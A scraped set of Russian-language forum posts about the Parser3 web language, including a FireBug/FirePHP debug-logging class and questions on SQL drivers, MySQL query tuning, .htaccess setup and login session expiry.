FireBug.p\
\
\
###########################################################################\
@main[]\
^FireBug:group[test group;[\
		$.sColor[#880000]\
		$.sCollapsed[true]\
		]]\
^FireBug:log[proc started;$status:rusage]\
^FireBug:log[memory at start;$status:memory]\
\
$table[^table::create{id	name\
1	test1\
2	test2\
}]\
\
^FireBug:table[test dump;$table]\
\
\
^FireBug:info[date now;^date::now[];[\
		$.sFile[test.p]\
		$.sLine[10]\
		]]\
\
^FireBug:log[proc ended;$status:rusage]\
^FireBug:log[memory at end;$status:memory]\
^FireBug:group_end[]\
\
\
^FireBug:group[test group]\
\
^FireBug:warn[warning message]\
\
^FireBug:error[error, html is empty )]\
\
^try{\
	^throw[test exception;]\
	\
	}{\
	$exception.handled(1)\
	^FireBug:exception[$exception]\
	}\
\
^FireBug:group_end[]\
\
###########################################################################\
@postprocess[sBody]\
$result[$sBody]\
^FireBug:print[]\
\
###########################################################################\
\
\
\
теперь о недостатках )\
\
у меня не захотел работать с кириллицей в UTF-8\
(глюк на стороне FirePHP, в заголовках все ОК).\
\
TODO: \
не реализован перенос строки при длине > 5000 символов\
не реализована замена символов перевода строки в string\
(данные должны быть в одну строчку)\
не реализована обертка к SqlLog и Erusage )\
\
\
###########################################################################\
# $Id: FireBug.p,v 0.1 2009-05-15 08:08:45 gik Exp $\
# JSON based on misha JSHttpRequest Class\
###########################################################################\
\
@CLASS\
FireBug\
\
###########################################################################\
@auto[]\
$tLog[^table::create{str}]\
$sProtocol[http://meta.wildfirehq.org/Protocol/JsonStream/0.2]\
$sPlugin[http://meta.firephp.org/Wildfire/Plugin/FirePHP/Library-FirePHPCore/0.3]\
$sStructure[http://meta.firephp.org/Wildfire/Structure/FirePHP/FirebugConsole/0.1]\
$sType[]\
#end @auto[]\
\
###########################################################################\
# start group\
#\
# hParam - hash\
#		$.sColor[string]	\
#		$.sCollapsed[true/false]\
#\
@group[sGroupLabel;hParam]\
^_append[GROUP_START;$sGroupLabel;;$hParam]\
#end @group[]\
\
###########################################################################\
# close group\
#\
@group_end[]\
^_append[GROUP_END]\
#end @group_end[]\
\
###########################################################################\
# log message\
#\
# sLabel - label\
# uVar	  - any variable\
# hParam - hash\
# 		$.sFile[string]\
#		$.sLine[integer]\
#\
@log[sLabel;uVar;hParam]\
^_append[LOG;$sLabel;$uVar;$hParam]\
#end @log[]\
\
###########################################################################\
# dump table (icon)\
#\
# sLabel - label\
# uVar	  - table\
# hParam - hash\
# 		$.sFile[string]\
#		$.sLine[integer]\
#\
@table[sLabel;uVar;hParam]\
^if($uVar is \"table\"){\
	^_append[TABLE;$sLabel;$uVar;$hParam]\
	}{\
	^_append[INFO;$sLabel;$uVar;$hParam]\
	}\
#end @table[]\
\
###########################################################################\
# info message (icon)\
#\
# sLabel - label\
# uVar	  - any variable\
# hParam - hash\
# 		$.sFile[string]\
#		$.sLine[integer]\
#\
@info[sLabel;uVar;hParam]\
^_append[INFO;$sLabel;$uVar;$hParam]\
#end @info[]\
\
###########################################################################\
# warning message (icon)\
#\
# sLabel - label\
# uVar	  - any variable\
# hParam - hash\
# 		$.sFile[string]\
#		$.sLine[integer]\
#\
@warn[sLabel;uVar;hParam]\
^_append[WARN;$sLabel;$uVar;$hParam]\
#end @warn[]\
\
###########################################################################\
# error message (icon)\
#\
# sLabel - label\
# uVar	  - any variable\
# hParam - hash\
# 		$.sFile[string]\
#		$.sLine[integer]\
#\
@error[sLabel;uVar;hParam]\
^_append[ERROR;$sLabel;$uVar;$hParam]\
#end @error[]\
\
###########################################################################\
# exception message (icon)\
#\
# hException -  $exception\
#\
@exception[hException][sLine]\
$sLine[[{\"Type\":\"EXCEPTION\"},{\"Class\": \"$caller.CLASS_NAME \", \"Message\": \"$hException.source ($hException.comment) \", \"File\": \"$hException.file \", \"Line\": \"(${hException.lineno}:$hException.colno) \", \"Type\": \"$hException.type \", \"Trace\": []}]]\
^tLog.append{^sLine.length[]|$sLine|}\
#end @error[]\
\
###########################################################################\
@print[][sHeader]\
$response:X-Wf-Protocol-1[$self.sProtocol]\
$response:X-Wf-1-Plugin-1[$self.sPlugin]\
$response:X-Wf-1-Structure-1[$self.sStructure]\
^tLog.menu{\
	$sHeader[X-Wf-1-1-1-^tLog.line[]]\
	$response:$sHeader[$tLog.str]\
	}\
\
###########################################################################\
@_append[sTypeL;sLabel;uVar;hashParam][sLine]\
$self.sType[$sTypeL]\
$self.hParam[^hash::create[$hashParam]]\
$sLine[[{\"Type\":\"$sType\"^if(def $sLabel){,\"Label\":\"^taint[js][$sLabel]\"}^if(def $hParam.sFile){,\"File\":\"$hParam.sFile\"}^if(def $hParam.sLine){,\"Line\":$hParam.sLine}^if(def $hParam.sColor){,\"Color\":\"$hParam.sColor\"}^if(def $hParam.sCollapsed){,\"Collapsed\":\"$hParam.sCollapsed\"}},^_object2js[$uVar]]]\
^tLog.append{^sLine.length[]|$sLine|}\
#end @_append[]\
\
###########################################################################\
# carefull: for empty strings returned 'null'\
@_object2js[uVar]\
$result[]\
^if(!(\
	($uVar is \"bool\" && ($uVar && ^self._return[true] || ^self._return[false]))\
	|| (!def $uVar && ^self._return[null])\
	|| ($uVar is \"string\" && ^self._return[^self._string2js[$uVar]])\
	|| ($uVar is \"double\" && ^self._return[$uVar])\
	|| ($uVar is \"int\" && ^self._return[$uVar])\
	|| ($uVar is \"table\" && (($uVar && ^self._return[^if($sType eq \"TABLE\"){^self._table2js[$uVar]}{^self._array2js[$uVar]}]) || ^self._return[null]))\
	|| ($uVar is \"hash\" && (($uVar && ^self._return[^self._hash2js[$uVar]]) || ^self._return[null]))\
	|| ($uVar is \"date\" && ^self._return[new Date(^uVar.unix-timestamp[]000)])\
)){\
	^self._return[null]\
}\
#end @_object2js[]\
\
###########################################################################\
@_return[sType]\
$caller.result[$sType]\
$result(1)\
#end @_return[]\
\
###########################################################################\
@_string2js[sData]\
$result[\"^taint[js][$sData]\"]\
#end @_string2js[]\
\
###########################################################################\
@_hash2js[hData][bIsHashOfBool;sKey;uValue]\
$bIsHashOfBool(1)\
# check if our hash is hash of bool with only 'true' values\
^hData.foreach[sKey;uValue]{\
	^if($bIsHashOfBool && !($uValue is \"bool\" && $uValue)){\
		$bIsHashOfBool(0)\
	}\
}\
\
^if($bIsHashOfBool){\
	$result[[^hData.foreach[sKey;]{^self._string2js[$sKey]}[, ]]]\
}{\
	^rem{ *** in other case return associated array *** }\
	$result[{^hData.foreach[sKey;uValue]{^self._string2js[$sKey]:^if($uValue is \"double\" || $uValue is \"bool\" || $uValue is \"int\"){^self._object2js($uValue)}{^self._object2js[$uValue]}}[, ]}]\
}\
#end @_hash2js[]\
\
\
\
###########################################################################\
@_table2js[tData][tKeys]\
$tKeys[^tData.columns[]]\
^if($tKeys){\
	$result[[[^tKeys.menu{^self._string2js[$tKeys.column]}[,]],^tData.menu{[^tKeys.menu{^self._string2js[$tData.[$tKeys.column]]}[, ]]}[, ]]]\
}{\
	^rem{ *** nameless tables are deprecated, lah. *** }\
	$result[null]\
}\
#end @_table2js[]\
\
###########################################################################\
@t_table2js[tData][tKeys]\
$tKeys[^tData.columns[]]\
^if($tKeys){\
	$result[[^tKeys.menu{^self._string2js[$tKeys.column]}[,]],^tData.menu{[^tKeys.menu{^self._string2js[$tData.[$tKeys.column]]}[, ]]}[, ]]\
}{\
	^rem{ *** nameless tables are deprecated, lah. *** }\
	$result[null]\
}\
#end @_table2js[]\
\
\
###########################################################################\
@_array2js[tData][tKeys]\
$tKeys[^tData.columns[]]\
^if($tKeys){\
	$result[[^tData.menu{{^tKeys.menu{^self._string2js[$tKeys.column]:^self._string2js[$tData.[$tKeys.column]]}[, ]}}[, ]]]\
}{\
	^rem{ *** nameless tables are deprecated, lah. *** }\
	$result[null]\
}\
#end @_array2js[]"
"69785","[code]\
@USE\
FireBug.p\
\
\
###########################################################################\
@main[]\
^FireBug:group[test group;[\
		$.sColor[#880000]\
		$.sCollapsed[true]\
		]]\
^FireBug:log[proc started;$status:rusage]\
^FireBug:log[memory at start;$status:memory]\
\
$table[^table::create{id	name\
1	test1\
2	test2\
}]\
\
^FireBug:table[test dump;$table]\
\
\
^FireBug:info[date now;^date::now[];[\
		$.sFile[test.p]\
		$.sLine[10]\
		]]\
\
^FireBug:log[proc ended;$status:rusage]\
^FireBug:log[memory at end;$status:memory]\
^FireBug:group_end[]\
\
\
^FireBug:group[test group]\
\
^FireBug:warn[warning message]\
\
^FireBug:error[error, html is empty )]\
\
^try{\
	^throw[test exception;]\
	\
	}{\
	$exception.handled(1)\
	^FireBug:exception[$exception]\
	}\
\
^FireBug:group_end[]\
\
###########################################################################\
@postprocess[sBody]\
$result[$sBody]\
^FireBug:print[]\
\
###########################################################################\
[/code]\
\
[code]\
###########################################################################\
# $Id: FireBug.p,v 0.1 2009-05-15 08:08:45 gik Exp $\
# JSON based on misha JSHttpRequest Class\
###########################################################################\
\
@CLASS\
FireBug\
\
###########################################################################\
@auto[]\
$tLog[^table::create{str}]\
$sProtocol[http://meta.wildfirehq.org/Protocol/JsonStream/0.2]\
$sPlugin[http://meta.firephp.org/Wildfire/Plugin/FirePHP/Library-FirePHPCore/0.3]\
$sStructure[http://meta.firephp.org/Wildfire/Structure/FirePHP/FirebugConsole/0.1]\
$sType[]\
#end @auto[]\
\
###########################################################################\
# start group\
#\
# hParam - hash\
#		$.sColor[string]	\
#		$.sCollapsed[true/false]\
#\
@group[sGroupLabel;hParam]\
^_append[GROUP_START;$sGroupLabel;;$hParam]\
#end @group[]\
\
###########################################################################\
# close group\
#\
@group_end[]\
^_append[GROUP_END]\
#end @group_end[]\
\
###########################################################################\
# log message\
#\
# sLabel - label\
# uVar	  - any variable\
# hParam - hash\
# 		$.sFile[string]\
#		$.sLine[integer]\
#\
@log[sLabel;uVar;hParam]\
^_append[LOG;$sLabel;$uVar;$hParam]\
#end @log[]\
\
###########################################################################\
# dump table (icon)\
#\
# sLabel - label\
# uVar	  - table\
# hParam - hash\
# 		$.sFile[string]\
#		$.sLine[integer]\
#\
@table[sLabel;uVar;hParam]\
^if($uVar is \"table\"){\
	^_append[TABLE;$sLabel;$uVar;$hParam]\
	}{\
	^_append[INFO;$sLabel;$uVar;$hParam]\
	}\
#end @table[]\
\
###########################################################################\
# info message (icon)\
#\
# sLabel - label\
# uVar	  - any variable\
# hParam - hash\
# 		$.sFile[string]\
#		$.sLine[integer]\
#\
@info[sLabel;uVar;hParam]\
^_append[INFO;$sLabel;$uVar;$hParam]\
#end @info[]\
\
###########################################################################\
# warning message (icon)\
#\
# sLabel - label\
# uVar	  - any variable\
# hParam - hash\
# 		$.sFile[string]\
#		$.sLine[integer]\
#\
@warn[sLabel;uVar;hParam]\
^_append[WARN;$sLabel;$uVar;$hParam]\
#end @warn[]\
\
###########################################################################\
# error message (icon)\
#\
# sLabel - label\
# uVar	  - any variable\
# hParam - hash\
# 		$.sFile[string]\
#		$.sLine[integer]\
#\
@error[sLabel;uVar;hParam]\
^_append[ERROR;$sLabel;$uVar;$hParam]\
#end @error[]\
\
###########################################################################\
# exception message (icon)\
#\
# hException -  $exception\
#\
@exception[hException][sLine]\
$sLine[[{\"Type\":\"EXCEPTION\"},{\"Class\": \"$caller.CLASS_NAME \", \"Message\": \"$hException.source ($hException.comment) \", \"File\": \"$hException.file \", \"Line\": \"(${hException.lineno}:$hException.colno) \", \"Type\": \"$hException.type \", \"Trace\": []}]]\
^tLog.append{^sLine.length[]|$sLine|}\
#end @error[]\
\
###########################################################################\
@print[][sHeader]\
$response:X-Wf-Protocol-1[$self.sProtocol]\
$response:X-Wf-1-Plugin-1[$self.sPlugin]\
$response:X-Wf-1-Structure-1[$self.sStructure]\
^tLog.menu{\
	$sHeader[X-Wf-1-1-1-^tLog.line[]]\
	$response:$sHeader[$tLog.str]\
	}\
\
###########################################################################\
@_append[sTypeL;sLabel;uVar;hashParam][sLine]\
$self.sType[$sTypeL]\
$self.hParam[^hash::create[$hashParam]]\
$sLine[[{\"Type\":\"$sType\"^if(def $sLabel){,\"Label\":\"^taint[js][$sLabel]\"}^if(def $hParam.sFile){,\"File\":\"$hParam.sFile\"}^if(def $hParam.sLine){,\"Line\":$hParam.sLine}^if(def $hParam.sColor){,\"Color\":\"$hParam.sColor\"}^if(def $hParam.sCollapsed){,\"Collapsed\":\"$hParam.sCollapsed\"}},^_object2js[$uVar]]]\
^tLog.append{^sLine.length[]|$sLine|}\
#end @_append[]\
\
###########################################################################\
# carefull: for empty strings returned 'null'\
@_object2js[uVar]\
$result[]\
^if(!(\
	($uVar is \"bool\" && ($uVar && ^self._return[true] || ^self._return[false]))\
	|| (!def $uVar && ^self._return[null])\
	|| ($uVar is \"string\" && ^self._return[^self._string2js[$uVar]])\
	|| ($uVar is \"double\" && ^self._return[$uVar])\
	|| ($uVar is \"int\" && ^self._return[$uVar])\
	|| ($uVar is \"table\" && (($uVar && ^self._return[^if($sType eq \"TABLE\"){^self._table2js[$uVar]}{^self._array2js[$uVar]}]) || ^self._return[null]))\
	|| ($uVar is \"hash\" && (($uVar && ^self._return[^self._hash2js[$uVar]]) || ^self._return[null]))\
	|| ($uVar is \"date\" && ^self._return[new Date(^uVar.unix-timestamp[]000)])\
)){\
	^self._return[null]\
}\
#end @_object2js[]\
\
###########################################################################\
@_return[sType]\
$caller.result[$sType]\
$result(1)\
#end @_return[]\
\
###########################################################################\
@_string2js[sData]\
$result[\"^taint[js][$sData]\"]\
#end @_string2js[]\
\
###########################################################################\
@_hash2js[hData][bIsHashOfBool;sKey;uValue]\
$bIsHashOfBool(1)\
# check if our hash is hash of bool with only 'true' values\
^hData.foreach[sKey;uValue]{\
	^if($bIsHashOfBool && !($uValue is \"bool\" && $uValue)){\
		$bIsHashOfBool(0)\
	}\
}\
\
^if($bIsHashOfBool){\
	$result[[^hData.foreach[sKey;]{^self._string2js[$sKey]}[, ]]]\
}{\
	^rem{ *** in other case return associated array *** }\
	$result[{^hData.foreach[sKey;uValue]{^self._string2js[$sKey]:^if($uValue is \"double\" || $uValue is \"bool\" || $uValue is \"int\"){^self._object2js($uValue)}{^self._object2js[$uValue]}}[, ]}]\
}\
#end @_hash2js[]\
\
\
\
###########################################################################\
@_table2js[tData][tKeys]\
$tKeys[^tData.columns[]]\
^if($tKeys){\
	$result[[[^tKeys.menu{^self._string2js[$tKeys.column]}[,]],^tData.menu{[^tKeys.menu{^self._string2js[$tData.[$tKeys.column]]}[, ]]}[, ]]]\
}{\
	^rem{ *** nameless tables are deprecated, lah. *** }\
	$result[null]\
}\
#end @_table2js[]\
\
###########################################################################\
@t_table2js[tData][tKeys]\
$tKeys[^tData.columns[]]\
^if($tKeys){\
	$result[[^tKeys.menu{^self._string2js[$tKeys.column]}[,]],^tData.menu{[^tKeys.menu{^self._string2js[$tData.[$tKeys.column]]}[, ]]}[, ]]\
}{\
	^rem{ *** nameless tables are deprecated, lah. *** }\
	$result[null]\
}\
#end @_table2js[]\
\
\
###########################################################################\
@_array2js[tData][tKeys]\
$tKeys[^tData.columns[]]\
^if($tKeys){\
	$result[[^tData.menu{{^tKeys.menu{^self._string2js[$tKeys.column]:^self._string2js[$tData.[$tKeys.column]]}[, ]}}[, ]]]\
}{\
	^rem{ *** nameless tables are deprecated, lah. *** }\
	$result[null]\
}\
#end @_array2js[]\
[/code]"
"69786","Именно такое сообщение выдает http://www.uyt05.ru/_test.html \
Причем сообщения об ошибке разные при разных сборках файла libparser3mysql.so\
\
Сообщение об ошибке: \
libstdc++.so.5: cannot open shared object file: No such file or directory \
./lib/libparser3mysql.so\
\
или\
\
driver implements API version 0x0009 not equal to 0x000A \
./lib/libparser3mysql.so\
\
Почему в одном случае говорится что файла нет, а в другом, что версия не подходит?\
\
Какие еще версии libparser3mysql.so есть? Сам собирать не умею, вот и проверял все имеющиеся под рукой.\
\
Общие сведения о сервере:\
Операционная система	Linux\
Версия ядра	2.6.9-55.ELsmp\
Machine Type	i686\
Версия Apache	1.3.37 (Unix)\
Версия PHP	4.4.7\
Версия MySQL	4.1.22-standard-log"
"69789","Как посчитать минуты \\секунды\\ от определенного времени \\даты\\ при обновлении стараницы?\
Да и кстати есть исходник отправки сообщений в этом форуме? Охотно посмотрю на него.\
За ранее благадарен."
"69791","И вообще, какие варианты сборки это файла существуют?\
Установлен parser 3.3.0"
"69792","Спасибо."
"69793","Сборка из раздела \"прислали пользователи\" от Андрея Шпигунова. Проблема: при заходе на сервер выдается \"/cgi-bin/parser3/index.html was not found on this server.\" Parser3 там точно лежит, пробовал и полный путь указывать - тоже самое. \
\
В htaccess: AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3\
\
Расскажите где туплю)\
\
P.S на маке сравнительно недавно"
"69794","В первом случае сообщение означает, что версия libstdc++, установленная на хостинге не совпадает с той, что была установлена на системе, где собирали драйвер. Попросите хостера собрать вам драйвер на сервере или сделайте это сами.\
\
Во втором случае вы взяли драйвер от старой версии Парсера - начиная с 3.3.0 у сменилась версия API sql-драйверов (теперь номер версии равен 10 == 0x000A)."
"69795","Как известно, в Parser объект типа date имеет относительно небольшой диапазон возможных значений — от 01.01.1970 до 01.01.2038 года. Это плата за то, что объект класса внутри себя хранит дату в виде количества секунд, прошедших с начала диапазона. Таким образом, для хранения данных о времени он использует одну переменную типа int. Максимальное значение int — 2147483647. Поделив на 31536000 (количество секунд в году) получаем упомянутые выше 68 лет.\
\
я понял, что дата 01.01.1970 это 0 секунд, тогда как вычислить какая секунда будт принадлежать этой дате 18.05.2009 15:03 ?"
"69796","Для сборки с autoconf >= 2.62 нужно пропатчить:\
http://git.debian.org/?p=collab-maint/parser.git;a=blob;f=debian/patches/108_autoconf2.63.patch"
"69799","Этот сайт мне достался от предыдущего \"вебмастера\". Вот сайт хостера www.megaportal.org. Доступ к сайту через :2082, и как тут найти суппорт ума не приложу.\
\
Поискал по форуму, но как собрать драйвер информации не нашел ((."
"69801","Может файл называеться parser3.cgi?\
\
тогда \
\
Action parsed-html /cgi-bin/parser3.cgi"
"69803","[url=\"http://web4u.ru/parser3/firebug.html\"]рабочий пример[/url]\
\
[url=\"http://web4u.ru/parser3/firebug.zip\"]архив (класс FireBug.p + пример)[/url]"
"69805","Помню было пару вариантов, которые, по уместным советам, в принципе и не должны показываться. Но вот мой - если надо кому, то я постараюсь доделать в ближайшее время.\
\
[url=\"http://www.whitespace.ru/UnhandledException.htm\"]http://www.whitespace.ru/UnhandledException.htm[/url]"
"69806","как импортировать так что бы перенос строки textarea отображался как <br/>?"
"69809","[code]$stroka[стул, стол, кухонный грнитур, пиво, водка, ребина на коньяке]\
$tabl[^table::create{name\
^stroka.match[(\\, )][g]{^#OA}\
}]\
\
^tabl.menu{$tabl.name}[<br>]\
\
на версии парсер 3-2-2 результат след:\
\
стул\
стол\
кухонный грнитур\
пиво\
водка\
ребина на коньяке\
\
\
а на версии парсер 3-3-0 результат след:\
\
стул#OA стол#OA кухонный грнитур#OA пиво#OA водка#OA ребина на коньяке[/code]\
\
\
\
вопрос почему не получается ? на версии парсер 3-3-0 прийти к результату версии  3-2-2"
"69811","один и тот же код.. делал копи паст.. в одном (3-2-2) работает в другом (3-3-0) нет\
\
странно канечно.. но исправив на НОЛЬ заработало.. блин че такое то.. я в шоке ))"
"69812","Есть файл [b]listing.csv[/b].\
Вот с такой структурой:\
[i]\
name	quantity	uri	lightbox_uri\
Рабочие станции:	&nbsp;	&nbsp;	&nbsp;\
Apple Macintosh 4 x 2.5 GHz PowerPC G5	1	#	#\
Digidesign Pro Tools HD 3	1	#	#\
Digidesign Pro Tools Expansion Chassis HD 64bit	1	#	#\
Digidesign 192 I/O	3	#	#\
Digidesign MIDI I/O	1	#	#\
M-Audio Firewire Solo	1	#	#\
Roland Fantom X8 	1	#	#\
Roland EV-5 Expression pedal	1	#	#\
Roland DP-8 Dempher pedal	1	#	#\
			\
Цифровые рекордеры:	&nbsp;	&nbsp;	&nbsp;\
Tascam MD-350	1	#	#\
Tascam CD-RW 750	1	#	#\
Fostex D 2424 LV	1	#	#\
			\
Консоли:	&nbsp;	&nbsp;	&nbsp;\
Allen&Heath PA 12-CP	1	#	#\
Digidesign Control 24	1	#	#\
[/i]\
\
Надо загрузить этот файл и на страничку вывести [i]три[b] отдельно стоящие таблицы.\
Т.е. получить такую конструкцию:\
[code]<table>\
   <tr>\
     <td>.... </td>\
   </tr>\
</table>\
\
<table>\
   <tr>\
     <td>.... </td>\
   </tr>\
</table>\
\
<table>\
   <tr>\
     <td>.... </td>\
   </tr>\
</table>\
[/code]\
Разделитель в файле это пустая строчка.\
\
Вывести всё целиком в одну таблицу просто:\
[code]$equip_table[^table::load[listing.csv]] \
<table width=\"100%\" border=\"1\"> \
		^equip_table.menu{ \
			<tr>\
				<td align=\"left\"><nobr>^untaint{$equip_table.name}</nobr></td> \
				<td align=\"center\"><nobr>^untaint{$equip_table.quantity}</nobr></td>\
				<td align=\"center\"><nobr>^untaint{$equip_table.uri}</nobr></td>\
				<td align=\"center\"><nobr>^untaint{$equip_table.lightbox_uri}</nobr></td>\
			</tr>\
			} \
	</table>[/code]\
\
А вот отловить пустую строчку-разделитель не получается. Что можно сделать для этого?"
"69813","если они вам нужны и нет возможности добавить какой-нить маркер пустой строки в исходные файлы -- придется извращаться, загружая это не как таблицу, а как текст, делая замены match-ем и последующем созданием таблицы."
"69814","Не проблема. Добавим разделитель-символ или строку, к примеру [b]table[/b].\
Если он будет в начале строки, то он будет присваиваться переменной [code]$equip_table.name[/code]. Её можно отловить через [code]^if($equip_table.name ne/eq)[/code], через [code]^while()[/code]. Что дальше?"
"69816","Это шаблон. Чтобы было видно.\
Вот как мне отловить разделитель?"
"69817","Не могу добиться быстрой работы:\
\
select SQL_CALC_FOUND_ROWS * from tours_details_86_379 where D>='2009-5-21' and D<='2009-08-31' and roomNA='4' and aFCK='379' and htlD>='3' and htlD<='10' and roomNC='2' and (htlRK in ('2','3','4','5','6','15016','15018','16538','16550','16552','16555','16556','24','16557','16542','25','16558','16543','16559','16544','16546','16547','15030','15031','16561','16562','16563','16565','16567','16569','16572','16575','16576','16578','16579','16591','16592','16593','16595','16580','16583','16584','16586','16587','16588','32')) and (htlK in ('3273','2284','2317','3274','3275','2305','2470','2287','3276','2132','3277','2307','2133','2289','2472','2030','3279','2032','3290','2475','2033','3291','2476','2138','2034','3292','2321','2477','2478','2139','2322','3294','2323','2037','2151','3281','3282','1994','2326','1551','2152','2039','3283','3284','3317','3302','1554','3285','3286','2141','1555','3511','2142','3512','3287','3305','2203','3306','3288','2204','3513','2524','2143','3307','3289','2144','3514','2205','2040','3515','2056','2041','3516','3501','2208','1424','3502','1250','2059','1251','3503','1252','3504','2149','2332','3477','3478','2333','1253','3322','3505','2334','3506','1429','3507','2336','2337','2163','3509','3491','3327','2338','2164','2061','2165','3494','3521','2532','3495','3217','2350','1246','2533','2534','3496','3218','3523','3482','3219','3524','1751','3497','3498','3525','2415','2537','3499','3484','1754','1800','3485','2355','3527','1755','3330','1087','2610','1756','3331','2357','1817','1757','1803','3332','2343','3333','3489','3334','2553','3222','2600','2347','2408','2601','1390','2349','2541','2603','2542','2604','3227','2543','2559','1821','2544','2545','3229','1761','3534','2546','1104','1763','1825','2548','3355','2194','2561','1655','3404','3230','3343','2562','2623','1769','2092','3344','2196','2563','2624','1596','3232','1658','1643','2565','1644','3348','2185','3541','2567','3542','3543','1589','1773','1836','3253','2438','2439','1777','1664','2570','2571','3090','2450','1779','2572','3242','2451','2452','2574','2635','1790','3243','3258','2453','2010','2454','2576','2637','2011','1308','2577','2013','1309','2578','1474','3247','1855','2381','2442','2579','1781','3249','1476','2383','1321','2590','2445','1478','2003','3261','2446','2592','1785','1846','2004','2386','2593','2655','3263','2448','2580','3264','2449','1326','2657','2007','2596','1789','2009','3267','2598','2599','1679','2124','2586','2464','1482','1055','2291','2126','2022','2127','2310','2588','2466','2293','2311','2129','2312','2313','2469','1331','2314','2281','1046','3271','2316')) and (htlBK in ('20','21','72','78','14','16','17','19','63','65','66','68','59','1','2','42','30','31','32','36','38','39')) order by P limit 0,100\
\
\
Ключи сделал такие:\
\
tours_details_86_379 0 PRIMARY 1 id A 4903136    BTREE  \
tours_details_86_379 1 tourid_ind 1 tourid A 108   YES BTREE  \
tours_details_86_379 1 D_ind 1 D A 132   YES BTREE  \
tours_details_86_379 1 P_ind 1 P A 44982   YES BTREE  \
tours_details_86_379 1 htlCN_ind 1 htlCN A 11   YES BTREE  \
tours_details_86_379 1 htlK_ind 1 htlK A 293   YES BTREE  \
tours_details_86_379 1 htlBK_ind 1 htlBK A 21   YES BTREE  \
tours_details_86_379 1 htlRK_ind 1 htlRK A 9   YES BTREE  \
tours_details_86_379 1 roomNA_ind 1 roomNA A 9   YES BTREE  \
tours_details_86_379 1 roomNC_ind 1 roomNC A 4   YES BTREE  \
tours_details_86_379 1 search_index 1 D A 132   YES BTREE  \
tours_details_86_379 1 search_index 2 aFCK A 132   YES BTREE  \
tours_details_86_379 1 search_index 3 roomNA A 1149   YES BTREE  \
tours_details_86_379 1 search_index 4 htlD A 7807   YES BTREE  \
tours_details_86_379 1 search_index 5 roomNC A 23572   YES BTREE  \
tours_details_86_379 1 search_index 6 htlRK A 77827   YES BTREE  \
tours_details_86_379 1 search_index 7 htlK A 1225784   YES BTREE  \
tours_details_86_379 1 search_index 8 htlBK A 1225784   YES BTREE  \
tours_details_86_379 1 search_index 9 P A 4903136   YES BTREE \
\
explain говорит:\
\
1 SIMPLE tours_details_86_379 ref D_ind,htlK_ind,htlBK_ind,htlRK_ind,roomNA_ind,roomNC_ind,search_index roomNA_ind 2 const 388589 Using where; Using filesort"
"69818","- не заставляйте MySQL гадать что и как преобразовывать, указывайте значения првильно: htlD>='3' => htlD>=3 и т.д.\
- используетй составные индексы (прочитайте про них. раз пять минимум, включая про их оптимизацию). на первых местах указывайте столбцы, учавствующие в запросах и имеющие большой значение cardinality. первый кандидат на помещение на первое место в индексе столбец, который фигурирует в поиске по диапазону (D, htlDб берите с большим значением).\
- если в перечне диапазонов фигурируют все существующие значения -- не указывайте их.\
\
но вообще, что вы хотите от данного запроса, который достаёт почти 390 тысяч записей (то, что потом что-то вы отсекаете -- неважно. условия плохо фильтруют записи)? никогда он не будет быстро работать."
"69819","Спасибо. Вот мои результаты:\
\
Таблица 15 млн записей. Выборки в среднем эти дают 5-10 тыс. строк.\
\
Все предложенное сделал, рузльтата не дало...\
Оно летает, если не использовать сортировку... А если еще и calc_found_rows убрать - то вообще свистит...\
\
А с order by и calc_found_rows - до 30 сек. отрабатывает запросы...\
\
Вообщем выход нашел такой: делаю кучу таблиц, и запихиваю в них записи по разным признакам, которые однозначно в запросе используются... И каждый запрос буду делать из нужной таблицы... При количество до 1 млн. записей все быстро..."
"69820","здравствуйте!\
\
я зарегистрировался на форме, походил по страничкам, потом закрыл окно форума (остались другие окна с другими сайтами), через какое-то время снова открыл форум -- и оказалось что я всё ещё залогонен\
\
вы не не задавались целью учитывать подобную ситуацию или это не лечится?"
"69822","[code]$string[стул, стол, кухонный грнитур, пиво, водка, ребина на коньяке]\
$table[^string.split[,][;name]]\
^table.menu{^table.name.trim[]}[<br />][/code]"
"69823","А в случае если пользователь не нажимает на ссылку «Завершить работу»? И дело, скажем, происходит в интернте-кафе...\
\
Какая-то есть от таких ситуаций защита? У альфабанка клиент-банк помоему как-то это реализовал -- помню что там в этом случае требуют снова логиниться."
"69824","пришлось перенести в руцентр один старый проект на втором парсере\
\
оказалось там стоит FreeBSD 6.2.\
\
а парсера последняя версия для FreeBSD 6.1\
\
как быть? есть ли версии для 6.2.?"
"69825","Во-первых, при авторизации вы ткнули галку \"Запомнить меня\", иначе после закрытия и открытия браузера  вы опять стали бы неавторизованным. Это ваш личный выбор, хотите, чтобы авторизация была сессионная - не ставьте в следующий раз эту галку. Так что эта ситуация вполне излечима вами самим.\
\
Во-вторых, форум парсера - и клиент-банк - это настолько различные сервисы в плане безопасности, что сравнивать их абсурдно."
"69826","Кто переживает так, что кушать не может — нажимает на ссылку «Завершить работу».\
Другим удобнее быть всегда залогинеными, а разлогинеными тогда, когда это явно указано (см. «Ссылка»).\
\
Защита — элементарная: истечение времени жизни сессии без активности пользователя."
"69828","неа\
отдаёт какую-то ерунду\
http://bwpb.info/cgi-bin/parser2.cgi"
"69829","да я не об особенностях форума, а вообще о способе реализации как у банка...\
\
я вот не знаю, как это можно сделать, сессионная кука ведь тут не поможет..."
"69830","Скачивается сам бинарник, парсер даже не запускается."
"69831","Возникла проблема при выполнении операции [code]^form:q.lower[][/code]:\
«change_case_UTF8 error: too big tmpVal(0x0001086D)»\
\
[code]$request:charset[/code] задан следующий [code]$request:charset[utf-8][/code]\
\
Никто не подскажет, как это лечится?"
"69832","Но этого может быть не достаточно - необходимо запрограммировать серверную часть механизма обработки сессий таким образом, чтобы он тоже понимал, что срок жизни сессии ограничен очень сильно.\
\
p.s. Большинство банковcких интернет-клиентов абсолютно параноидальны, а поэтому неудобны в использовании. :)"
"69834","а на парсере поминутная сессия реализуема?"
"69835","... а как Вы реализуете серверную часть от языка не зависит. Тема закрыта.\
\
p.s. [url=http://www.intuit.ru/department/network/pami/7/]Перевод на русский спецификации HTTP протокола[/url]"
"69838","если параметры передавались через GET, то покажите, что у вас там."
"69839","а как сейчас обстоят дела? не знаете случаем?"
"69840","пишите небольшой код, который это делает (завершает одну таблицу и начинает другую).\
\
если написали, а он не работает -- приводите его тут, вам подскажут что-нибудь."
"69841","выкачайте и положите в ./lib новый модуль (не от JainRain), а consumer.cgi замените на [code]#! /usr/bin/perl -I ./lib\
\
use strict;\
use warnings;\
use CGI;\
use LWP::UserAgent;\
use Net::OpenID::Consumer;\
\
use Digest::MD5 qw(md5_hex);\
use URI::Escape;\
\
